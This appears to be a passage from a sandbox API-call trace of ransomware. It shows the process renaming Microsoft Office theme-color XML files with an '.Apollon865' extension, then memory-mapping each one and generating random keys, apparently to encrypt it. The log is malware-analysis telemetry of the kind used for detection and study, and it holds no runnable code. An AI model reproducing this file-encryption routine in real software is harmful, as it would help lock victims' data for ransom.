	[0073.928] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.929] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Newsprint.xml" | out: lpString1="Newsprint.xml") returned="Newsprint.xml"
	[0073.929] lstrlenW (lpString="Newsprint.xml") returned 13
	[0073.929] lstrlenW (lpString="Apollon865") returned 10
	[0073.929] lstrcmpiW (lpString1="sprint.xml", lpString2="Apollon865") returned 1
	[0073.929] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.Apollon865") returned 90
	[0073.929] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Newsprint.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\newsprint.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.934] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=964) returned 1
	[0073.934] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.935] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.935] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.935] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.937] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.938] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.939] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.939] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.939] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Opulent.xml" | out: lpString1="Opulent.xml") returned="Opulent.xml"
	[0073.939] lstrlenW (lpString="Opulent.xml") returned 11
	[0073.939] lstrlenW (lpString="Apollon865") returned 10
	[0073.939] lstrcmpiW (lpString1="pulent.xml", lpString2="Apollon865") returned 1
	[0073.939] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.Apollon865") returned 88
	[0073.939] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Opulent.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\opulent.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.940] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=962) returned 1
	[0073.941] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.941] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.941] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.941] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.943] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.943] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.944] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.944] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.944] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Oriel.xml" | out: lpString1="Oriel.xml") returned="Oriel.xml"
	[0073.945] lstrlenW (lpString="Oriel.xml") returned 9
	[0073.945] lstrlenW (lpString="Apollon865") returned 10
	[0073.945] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.Apollon865") returned 86
	[0073.945] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Oriel.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\oriel.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.946] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=960) returned 1
	[0073.946] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.947] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.947] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.947] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x118
	[0073.948] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000
	[0073.949] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.950] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.950] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.950] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Origin.xml" | out: lpString1="Origin.xml") returned="Origin.xml"
	[0073.950] lstrlenW (lpString="Origin.xml") returned 10
	[0073.950] lstrlenW (lpString="Apollon865") returned 10
	[0073.950] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.Apollon865") returned 87
	[0073.951] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Origin.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\origin.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.955] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=961) returned 1
	[0073.955] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.956] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.956] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.956] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.957] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.958] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.958] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.959] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.959] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Paper.xml" | out: lpString1="Paper.xml") returned="Paper.xml"
	[0073.959] lstrlenW (lpString="Paper.xml") returned 9
	[0073.959] lstrlenW (lpString="Apollon865") returned 10
	[0073.959] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.Apollon865") returned 86
	[0073.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Paper.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\paper.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.960] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=960) returned 1
	[0073.960] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.961] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.961] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.961] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x118
	[0073.963] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000
	[0073.964] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.964] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.964] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.965] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Perspective.xml" | out: lpString1="Perspective.xml") returned="Perspective.xml"
	[0073.965] lstrlenW (lpString="Perspective.xml") returned 15
	[0073.965] lstrlenW (lpString="Apollon865") returned 10
	[0073.965] lstrcmpiW (lpString1="ective.xml", lpString2="Apollon865") returned 1
	[0073.965] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.Apollon865") returned 92
	[0073.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Perspective.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\perspective.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.966] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=966) returned 1
	[0073.966] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.967] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.967] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.967] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.968] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.969] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.970] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.970] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.970] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Pushpin.xml" | out: lpString1="Pushpin.xml") returned="Pushpin.xml"
	[0073.970] lstrlenW (lpString="Pushpin.xml") returned 11
	[0073.970] lstrlenW (lpString="Apollon865") returned 10
	[0073.970] lstrcmpiW (lpString1="ushpin.xml", lpString2="Apollon865") returned 1
	[0073.970] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.Apollon865") returned 88
	[0073.970] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Pushpin.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\pushpin.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.971] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=962) returned 1
	[0073.972] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.972] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.972] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.972] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.974] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.974] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.975] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.975] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.976] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Slipstream.xml" | out: lpString1="Slipstream.xml") returned="Slipstream.xml"
	[0073.976] lstrlenW (lpString="Slipstream.xml") returned 14
	[0073.976] lstrlenW (lpString="Apollon865") returned 10
	[0073.976] lstrcmpiW (lpString1="stream.xml", lpString2="Apollon865") returned 1
	[0073.976] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.Apollon865") returned 91
	[0073.976] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.977] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=965) returned 1
	[0073.977] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.978] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.978] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.978] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.979] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.983] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.984] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.984] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.985] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Solstice.xml" | out: lpString1="Solstice.xml") returned="Solstice.xml"
	[0073.985] lstrlenW (lpString="Solstice.xml") returned 12
	[0073.985] lstrlenW (lpString="Apollon865") returned 10
	[0073.985] lstrcmpiW (lpString1="lstice.xml", lpString2="Apollon865") returned 1
	[0073.985] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.Apollon865") returned 89
	[0073.985] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.986] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=963) returned 1
	[0073.986] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.987] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.987] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.987] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.988] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.989] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.990] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.990] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.990] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Technic.xml" | out: lpString1="Technic.xml") returned="Technic.xml"
	[0073.990] lstrlenW (lpString="Technic.xml") returned 11
	[0073.990] lstrlenW (lpString="Apollon865") returned 10
	[0073.990] lstrcmpiW (lpString1="echnic.xml", lpString2="Apollon865") returned 1
	[0073.990] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.Apollon865") returned 88
	[0073.991] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.992] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=962) returned 1
	[0073.992] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.993] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.993] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.993] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x118
	[0073.994] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000
	[0073.995] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.996] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.996] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.996] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="Thatch.xml" | out: lpString1="Thatch.xml") returned="Thatch.xml"
	[0073.996] lstrlenW (lpString="Thatch.xml") returned 10
	[0073.996] lstrlenW (lpString="Apollon865") returned 10
	[0073.996] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.Apollon865") returned 87
	[0073.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Thatch.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\thatch.xml.apollon865"), dwFlags=0x1) returned 1
